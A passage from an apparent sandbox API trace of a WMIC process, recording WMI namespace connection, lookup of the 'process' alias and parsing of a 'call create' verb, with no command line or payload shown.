(_Size=0xc) returned 0x9624f0 [0100.674] malloc (_Size=0xc) returned 0x962508 [0100.674] malloc (_Size=0xc) returned 0x962520 [0100.675] malloc (_Size=0xc) returned 0x962538 [0100.675] SysStringLen (param_1="root\\cli") returned 0x8 [0100.675] SysStringLen (param_1="\\") returned 0x1 [0100.675] malloc (_Size=0xc) returned 0x962550 [0100.675] SysStringLen (param_1="root\\cli\\") returned 0x9 [0100.675] SysStringLen (param_1="ms_409") returned 0x6 [0100.675] free (_Block=0x962538) [0100.675] free (_Block=0x962520) [0100.675] free (_Block=0x962508) [0100.675] free (_Block=0x9624f0) [0100.675] malloc (_Size=0xc) returned 0x9624f0 [0100.675] WbemLocator:IWbemLocator:ConnectServer (in: This=0xa60828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xe9c1e4 | out: ppNamespace=0xe9c1e4*=0xa6d064) returned 0x0 [0100.821] free (_Block=0x9624f0) [0100.821] free (_Block=0x962550) [0100.821] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.821] GetCurrentThreadId () returned 0x1040 [0100.821] ??0CHString@@QAE@XZ () returned 0x12fc58 [0100.821] malloc (_Size=0xc) returned 0x962550 [0100.821] malloc (_Size=0xc) returned 0x9624f0 [0100.821] malloc (_Size=0xc) returned 0x962508 [0100.821] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0100.821] malloc (_Size=0x3a) returned 0x9628c0 [0100.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe51f7c, cbMultiByte=-1, lpWideCharStr=0x9628c0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0100.821] free (_Block=0x9628c0) [0100.821] malloc (_Size=0xc) returned 0x962520 [0100.821] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0100.821] SysStringLen (param_1="process") returned 0x7 [0100.822] malloc (_Size=0xc) returned 0x962538 [0100.822] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='process") returned 0x23 [0100.822] SysStringLen (param_1="'") returned 0x1 [0100.822] free (_Block=0x962520) [0100.822] free (_Block=0x962508) [0100.822] free (_Block=0x9624f0) [0100.822] free (_Block=0x962550) [0100.822] IWbemServices:GetObject (in: This=0xa6d00c, strObjectPath="MSFT_CliAlias.FriendlyName='process'", lFlags=0, pCtx=0x0, ppObject=0x12fc54*=0x0, ppCallResult=0x0 | out: ppObject=0x12fc54*=0xa90890, ppCallResult=0x0) returned 0x0 [0100.849] malloc (_Size=0xc) returned 0x962550 [0100.849] IWbemClassObject:Get (in: This=0xa90890, wszName="Target", lFlags=0, pVal=0x12fc14*(varType=0x0, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xe8, varVal1=0xffffffff, varVal2=0xe5a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x12fc14*(varType=0x8, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xe8, varVal1="Select * from Win32_Process", varVal2=0xe5a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0100.849] free (_Block=0x962550) [0100.849] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0100.849] malloc (_Size=0x38) returned 0x9628c0 [0100.849] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0100.849] malloc (_Size=0xc) returned 0x962550 [0100.849] IWbemClassObject:Get (in: This=0xa90890, wszName="PWhere", lFlags=0, pVal=0x12fc14*(varType=0x0, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xe8, varVal1=0x641364, varVal2=0xe5a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x12fc14*(varType=0x8, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xe8, varVal1="WHERE ProcessId='#'", varVal2=0xe5a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0100.849] free (_Block=0x962550) [0100.849] lstrlenW (lpString="WHERE ProcessId='#'") returned 19 [0100.849] malloc (_Size=0x28) returned 0x962900 [0100.849] lstrlenW (lpString="WHERE ProcessId='#'") returned 19 [0100.849] malloc (_Size=0xc) returned 0x962550 [0100.849] IWbemClassObject:Get (in: This=0xa90890, wszName="Connection", lFlags=0, pVal=0x12fc14*(varType=0x0, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xe8, varVal1=0x644ccc, varVal2=0xe5a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x12fc14*(varType=0xd, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xe8, varVal1=0xa90c50, varVal2=0xe5a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0100.850] free (_Block=0x962550) [0100.850] IUnknown:QueryInterface (in: This=0xa90c50, riid=0xe56b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fc4c | out: ppvObject=0x12fc4c*=0xa90c50) returned 0x0 [0100.850] GetCurrentThreadId () returned 0x1040 [0100.850] ??0CHString@@QAE@XZ () returned 0x12fbc8 [0100.850] malloc (_Size=0xc) returned 0x962550 [0100.850] IWbemClassObject:Get (in: This=0xa90c50, wszName="Namespace", lFlags=0, pVal=0x12fb98*(varType=0x0, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12fb98*(varType=0x8, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.850] free (_Block=0x962550) [0100.850] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0100.850] malloc (_Size=0x16) returned 0x1bebc8 [0100.850] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0100.850] malloc (_Size=0xc) returned 0x962550 [0100.850] IWbemClassObject:Get (in: This=0xa90c50, wszName="Locale", lFlags=0, pVal=0x12fb98*(varType=0x0, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12fb98*(varType=0x8, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.850] free (_Block=0x962550) [0100.850] lstrlenW (lpString="ms_409") returned 6 [0100.850] malloc (_Size=0xe) returned 0x962550 [0100.850] lstrlenW (lpString="ms_409") returned 6 [0100.850] malloc (_Size=0xc) returned 0x9624f0 [0100.850] IWbemClassObject:Get (in: This=0xa90c50, wszName="User", lFlags=0, pVal=0x12fb98*(varType=0x0, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12fb98*(varType=0x1, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.850] free (_Block=0x9624f0) [0100.850] malloc (_Size=0xc) returned 0x9624f0 [0100.850] IWbemClassObject:Get (in: This=0xa90c50, wszName="Password", lFlags=0, pVal=0x12fb98*(varType=0x1, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12fb98*(varType=0x1, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.851] free (_Block=0x9624f0) [0100.851] malloc (_Size=0xc) returned 0x9624f0 [0100.851] IWbemClassObject:Get (in: This=0xa90c50, wszName="Server", lFlags=0, pVal=0x12fb98*(varType=0x1, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12fb98*(varType=0x8, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.851] free (_Block=0x9624f0) [0100.851] lstrlenW (lpString=".") returned 1 [0100.851] malloc (_Size=0x4) returned 0x1b3fd8 [0100.851] lstrlenW (lpString=".") returned 1 [0100.851] malloc (_Size=0xc) returned 0x9624f0 [0100.851] IWbemClassObject:Get (in: This=0xa90c50, wszName="Authority", lFlags=0, pVal=0x12fb98*(varType=0x0, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12fb98*(varType=0x1, wReserved1=0x0, wReserved2=0x2550, wReserved3=0x96, varVal1=0x653cb4, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.851] free (_Block=0x9624f0) [0100.851] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.851] IUnknown:Release (This=0xa90c50) returned 0x1 [0100.851] GetCurrentThreadId () returned 0x1040 [0100.851] ??0CHString@@QAE@XZ () returned 0x12fbc0 [0100.851] malloc (_Size=0xc) returned 0x9624f0 [0100.851] IWbemClassObject:Get (in: This=0xa90890, wszName="__RELPATH", lFlags=0, pVal=0x12fba0*(varType=0x0, wReserved1=0x73b9, wReserved2=0x0, wReserved3=0xa6, varVal1=0x0, varVal2=0xa90c50), pType=0x0, plFlavor=0x0 | out: pVal=0x12fba0*(varType=0x8, wReserved1=0x73b9, wReserved2=0x0, wReserved3=0xa6, varVal1="MSFT_CliAlias.FriendlyName=\"Process\"", varVal2=0xa90c50), pType=0x0, plFlavor=0x0) returned 0x0 [0100.851] free (_Block=0x9624f0) [0100.851] malloc (_Size=0xc) returned 0x9624f0 [0100.851] GetCurrentThreadId () returned 0x1040 [0100.851] ??0CHString@@QAE@XZ () returned 0x12fb50 [0100.851] ??0CHString@@QAE@PBG@Z () returned 0x12fb3c [0100.851] ??0CHString@@QAE@ABV0@@Z () returned 0x12fadc [0100.851] ?Empty@CHString@@QAEXXZ () returned 0x73dd0510 [0100.851] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x962a20 [0100.852] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0100.852] ?Left@CHString@@QBE?AV1@H@Z () returned 0x12fabc [0100.852] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x12fac0 [0100.852] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x12fb3c [0100.852] ??1CHString@@QAE@XZ () returned 0x1 [0100.852] ??1CHString@@QAE@XZ () returned 0x1 [0100.852] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x12fab8 [0100.852] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x12fadc [0100.852] ??1CHString@@QAE@XZ () returned 0x1 [0100.852] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x962a80 [0100.852] ?Find@CHString@@QBEHPBG@Z () returned 0x7 [0100.852] ?Left@CHString@@QBE?AV1@H@Z () returned 0x12fabc [0100.852] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x12fac0 [0100.852] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x12fb3c [0100.852] ??1CHString@@QAE@XZ () returned 0x1 [0100.852] ??1CHString@@QAE@XZ () returned 0x1 [0100.852] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x12fab8 [0100.852] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x12fadc [0100.852] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.852] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x73dd0504 [0100.852] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.852] malloc (_Size=0xc) returned 0x962508 [0100.852] malloc (_Size=0xc) returned 0x962520 [0100.852] malloc (_Size=0xc) returned 0x962568 [0100.852] malloc (_Size=0xc) returned 0x962580 [0100.852] malloc (_Size=0xc) returned 0x962598 [0100.852] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0100.852] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0100.852] malloc (_Size=0xc) returned 0x9625b0 [0100.852] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0100.852] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"Process\\\"") returned 0x26 [0100.853] malloc (_Size=0xc) returned 0x9625c8 [0100.853] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"Process\\\"") returned 0x79 [0100.853] SysStringLen (param_1="\"") returned 0x1 [0100.853] free (_Block=0x9625b0) [0100.853] free (_Block=0x962598) [0100.853] free (_Block=0x962580) [0100.853] free (_Block=0x962568) [0100.853] free (_Block=0x962520) [0100.853] free (_Block=0x962508) [0100.853] IWbemServices:GetObject (in: This=0xa6d064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"Process\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x12fb58*=0x0, ppCallResult=0x0 | out: ppObject=0x12fb58*=0xa90cd8, ppCallResult=0x0) returned 0x0 [0100.857] malloc (_Size=0xc) returned 0x962508 [0100.857] IWbemClassObject:Get (in: This=0xa90cd8, wszName="Text", lFlags=0, pVal=0x12fb04*(varType=0x0, wReserved1=0x61, wReserved2=0x51e4, wReserved3=0x61, varVal1=0x48, varVal2=0xe9c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x12fb04*(varType=0x2008, wReserved1=0x61, wReserved2=0x51e4, wReserved3=0x61, varVal1=0x637808*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x647228, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0xe9c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.857] free (_Block=0x962508) [0100.857] SafeArrayGetLBound (in: psa=0x637808, nDim=0x1, plLbound=0x12fb1c | out: plLbound=0x12fb1c) returned 0x0 [0100.857] SafeArrayGetUBound (in: psa=0x637808, nDim=0x1, plUbound=0x12fb18 | out: plUbound=0x12fb18) returned 0x0 [0100.857] SafeArrayGetElement (in: psa=0x637808, rgIndices=0x12fb7c, pv=0x12fb44 | out: pv=0x12fb44) returned 0x0 [0100.857] malloc (_Size=0xc) returned 0x962508 [0100.857] malloc (_Size=0xc) returned 0x962520 [0100.857] SysStringLen (param_1="Process management. ") returned 0x14 [0100.857] free (_Block=0x962508) [0100.857] IUnknown:Release (This=0xa90cd8) returned 0x0 [0100.857] free (_Block=0x9625c8) [0100.857] ??1CHString@@QAE@XZ () returned 0x1 [0100.857] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.857] free (_Block=0x9624f0) [0100.857] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.857] lstrlenW (lpString="Process management. ") returned 20 [0100.857] malloc (_Size=0x2a) returned 0x962a20 [0100.857] lstrlenW (lpString="Process management. ") returned 20 [0100.857] free (_Block=0x962520) [0100.857] IUnknown:Release (This=0xa90890) returned 0x0 [0100.858] free (_Block=0x962538) [0100.858] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.858] lstrlenW (lpString="PATH") returned 4 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="PATH", cchCount2=4) returned 1 [0100.858] lstrlenW (lpString="WHERE") returned 5 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="WHERE", cchCount2=5) returned 1 [0100.858] lstrlenW (lpString="(") returned 1 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="(", cchCount2=1) returned 3 [0100.858] lstrlenW (lpString="/") returned 1 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0100.858] lstrlenW (lpString="-") returned 1 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0100.858] malloc (_Size=0xc) returned 0x962538 [0100.858] lstrlenW (lpString="GET") returned 3 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0100.858] lstrlenW (lpString="LIST") returned 4 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0100.858] lstrlenW (lpString="SET") returned 3 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0100.858] lstrlenW (lpString="CREATE") returned 6 [0100.858] lstrlenW (lpString="call") returned 4 [0100.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0100.858] lstrlenW (lpString="CALL") returned 4 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0100.859] free (_Block=0x962538) [0100.859] lstrlenW (lpString="/") returned 1 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0100.859] lstrlenW (lpString="-") returned 1 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] malloc (_Size=0xa) returned 0x962538 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] lstrlenW (lpString="GET") returned 3 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0100.859] lstrlenW (lpString="LIST") returned 4 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0100.859] lstrlenW (lpString="SET") returned 3 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0100.859] lstrlenW (lpString="CREATE") returned 6 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0100.859] lstrlenW (lpString="CALL") returned 4 [0100.859] lstrlenW (lpString="call") returned 4 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0100.859] lstrlenW (lpString="/") returned 1 [0100.859] lstrlenW (lpString="create") returned 6 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="create", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0100.859] lstrlenW (lpString="-") returned 1 [0100.859] lstrlenW (lpString="create") returned 6 [0100.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="create", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0100.859] lstrlenW (lpString="create") returned 6 [0100.859] malloc (_Size=0xe) returned 0x962520 [0100.860] lstrlenW (lpString="create") returned 6 [0100.860] GetCurrentThreadId () returned 0x1040 [0100.860] ??0CHString@@QAE@XZ () returned 0x12f3f4 [0100.860] malloc (_Size=0xc) returned 0x9624f0 [0100.860] malloc (_Size=0xc) returned 0x9625c8 [0100.860] malloc (_Size=0xc) returned 0x962508 [0100.860] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0100.860] malloc (_Size=0x3a) returned 0x962a58 [0100.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe51f7c, cbMultiByte=-1, lpWideCharStr=0x962a58, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0100.860] free (_Block=0x962a58) [0100.860] malloc (_Size=0xc) returned 0x962568 [0100.860] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0100.860] SysStringLen (param_1="process") returned 0x7 [0100.860] malloc (_Size=0xc) returned 0x962580 [0100.860] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='process") returned 0x23 [0100.860] SysStringLen (param_1="'") returned 0x1 [0100.861] free (_Block=0x962568) [0100.861] free (_Block=0x962508) [0100.861] free (_Block=0x9625c8) [0100.861] free (_Block=0x9624f0) [0100.861] IWbemServices:GetObject (in: This=0xa6d00c, strObjectPath="MSFT_CliAlias.FriendlyName='process'", lFlags=0, pCtx=0x0, ppObject=0x12f3cc*=0x0, ppCallResult=0x0 | out: ppObject=0x12f3cc*=0xa90890, ppCallResult=0x0) returned 0x0 [0100.868] lstrlenW (lpString="CALL") returned 4 [0100.868] lstrlenW (lpString="call") returned 4 [0100.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0100.868] malloc (_Size=0xc) returned 0x9624f0 [0100.868] IWbemClassObject:Get (in: This=0xa90890, wszName="Verbs", lFlags=0, pVal=0x12f348*(varType=0x0, wReserved1=0x0, wReserved2=0xcf98, wReserved3=0xa6, varVal1=0x12f364, varVal2=0xa6cfa0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f348*(varType=0x200d, wReserved1=0x0, wReserved2=0xcf98, wReserved3=0xa6, varVal1=0x637808*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x60c180, rgsabound=((cElements=0x6, lLbound=0))), varVal2=0xa6cfa0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.869] free (_Block=0x9624f0) [0100.869] SafeArrayGetLBound (in: psa=0x637808, nDim=0x1, plLbound=0x12f394 | out: plLbound=0x12f394) returned 0x0 [0100.869] SafeArrayGetUBound (in: psa=0x637808, nDim=0x1, plUbound=0x12f380 | out: plUbound=0x12f380) returned 0x0 [0100.869] SafeArrayGetElement (in: psa=0x637808, rgIndices=0x12f3a4, pv=0x12f3e0 | out: pv=0x12f3e0) returned 0x0 [0100.869] malloc (_Size=0xc) returned 0x9624f0 [0100.869] IWbemClassObject:Get (in: This=0xa936e8, wszName="Name", lFlags=0, pVal=0x12f338*(varType=0x0, wReserved1=0xa6, wReserved2=0xcfa0, wReserved3=0xa6, varVal1=0x12f3ac, varVal2=0xa90a28), pType=0x0, plFlavor=0x0 | out: pVal=0x12f338*(varType=0x8, wReserved1=0xa6, wReserved2=0xcfa0, wReserved3=0xa6, varVal1="Create", varVal2=0xa90a28), pType=0x0, plFlavor=0x0) returned 0x0 [0100.869] free (_Block=0x9624f0) [0100.869] malloc (_Size=0xc) returned 0x9624f0 [0100.869] lstrlenW (lpString="Create") returned 6 [0100.869] lstrlenW (lpString="create") returned 6 [0100.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="create", cchCount1=6, lpString2="Create", cchCount2=6) returned 2 [0100.869] free (_Block=0x9624f0) [0100.869] GetCurrentThreadId () returned 0x1040 [0100.870] ??0CHString@@QAE@XZ () returned 0x12f228 [0100.870] malloc (_Size=0xc) returned 0x9624f0 [0100.870] IWbemClassObject:Get (in: This=0xa936e8, wszName="Description", lFlags=0, pVal=0x12f1f8*(varType=0x0, wReserved1=0x76b4, wReserved2=0x5a19, wReserved3=0xf32c, varVal1=0x0, varVal2=0x9624f0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1f8*(varType=0x8, wReserved1=0x76b4, wReserved2=0x5a19, wReserved3=0xf32c, varVal1="The Create method creates a new process. It returns an integer value of 0 if the process was successfully created, and any other number to indicate an error.", varVal2=0x9624f0), pType=0x0, plFlavor=0x0) returned 0x0 [0100.870] free (_Block=0x9624f0) [0100.870] malloc (_Size=0xc) returned 0x9624f0 [0100.870] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.870] malloc (_Size=0xc) returned 0x9625c8 [0100.870] IWbemClassObject:Get (in: This=0xa936e8, wszName="Parameters", lFlags=0, pVal=0x12f328*(varType=0x0, wReserved1=0x7735, wReserved2=0x8d00, wReserved3=0x7753, varVal1=0x0, varVal2=0xa60000), pType=0x0, plFlavor=0x0 | out: pVal=0x12f328*(varType=0x200d, wReserved1=0x7735, wReserved2=0x8d00, wReserved3=0x7753, varVal1=0x637838*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x643cb8, rgsabound=((cElements=0x4, lLbound=0))), varVal2=0xa60000), pType=0x0, plFlavor=0x0) returned 0x0 [0100.870] free (_Block=0x9625c8) [0100.870] malloc (_Size=0xc) returned 0x9625c8 [0100.870] IWbemClassObject:Get (in: This=0xa936e8, wszName="VerbType", lFlags=0, pVal=0x12f300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1000001, varVal2=0xa60868), pType=0x0, plFlavor=0x0 | out: pVal=0x12f300*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0xa60868), pType=0x0, plFlavor=0x0) returned 0x0 [0100.870] free (_Block=0x9625c8) [0100.870] malloc (_Size=0xc) returned 0x9625c8 [0100.870] IWbemClassObject:Get (in: This=0xa936e8, wszName="Derivation", lFlags=0, pVal=0x12f2e0*(varType=0x0, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1=0xa60150, varVal2=0xa60000), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2e0*(varType=0x8, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1="Create", varVal2=0xa60000), pType=0x0, plFlavor=0x0) returned 0x0 [0100.870] free (_Block=0x9625c8) [0100.870] malloc (_Size=0xc) returned 0x9625c8 [0100.870] lstrlenW (lpString="Create") returned 6 [0100.870] malloc (_Size=0xe) returned 0x962508 [0100.870] lstrlenW (lpString="Create") returned 6 [0100.870] free (_Block=0x9625c8) [0100.871] malloc (_Size=0x38) returned 0x962a58 [0100.871] SafeArrayGetLBound (in: psa=0x637838, nDim=0x1, plLbound=0x12f35c | out: plLbound=0x12f35c) returned 0x0 [0100.871] SafeArrayGetUBound (in: psa=0x637838, nDim=0x1, plUbound=0x12f378 | out: plUbound=0x12f378) returned 0x0 [0100.871] SafeArrayGetElement (in: psa=0x637838, rgIndices=0x12f3b8, pv=0x12f3c8 | out: pv=0x12f3c8) returned 0x0 [0100.871] malloc (_Size=0xc) returned 0x9625c8 [0100.871] IWbemClassObject:Get (in: This=0xa9c490, wszName="ParaId", lFlags=0, pVal=0x12f2f0*(varType=0x0, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1=0x3010002, varVal2=0x73699b08), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2f0*(varType=0x8, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1="CommandLine", varVal2=0x73699b08), pType=0x0, plFlavor=0x0) returned 0x0 [0100.871] free (_Block=0x9625c8) [0100.871] malloc (_Size=0xc) returned 0x9625c8 [0100.871] IWbemClassObject:Get (in: This=0xa9c490, wszName="Type", lFlags=0, pVal=0x12f2d0*(varType=0x0, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1=0x73699366, varVal2=0x4), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2d0*(varType=0x8, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1="STRING", varVal2=0x4), pType=0x0, plFlavor=0x0) returned 0x0 [0100.871] free (_Block=0x9625c8) [0100.871] malloc (_Size=0xc) returned 0x9625c8 [0100.871] IWbemClassObject:Get (in: This=0xa9c490, wszName="Default", lFlags=0, pVal=0x12f310*(varType=0x0, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0 | out: pVal=0x12f310*(varType=0x1, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0) returned 0x0 [0100.871] free (_Block=0x9625c8) [0100.871] malloc (_Size=0x24) returned 0x962a98 [0100.871] GetCurrentThreadId () returned 0x1040 [0100.871] ??0CHString@@QAE@XZ () returned 0x12f230 [0100.871] malloc (_Size=0xc) returned 0x9625c8 [0100.871] IWbemClassObject:Get (in: This=0xa9c490, wszName="Qualifiers", lFlags=0, pVal=0x12f1b4*(varType=0x0, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0xa9c006, varVal2=0x12f214), pType=0x0, plFlavor=0x0 | out: 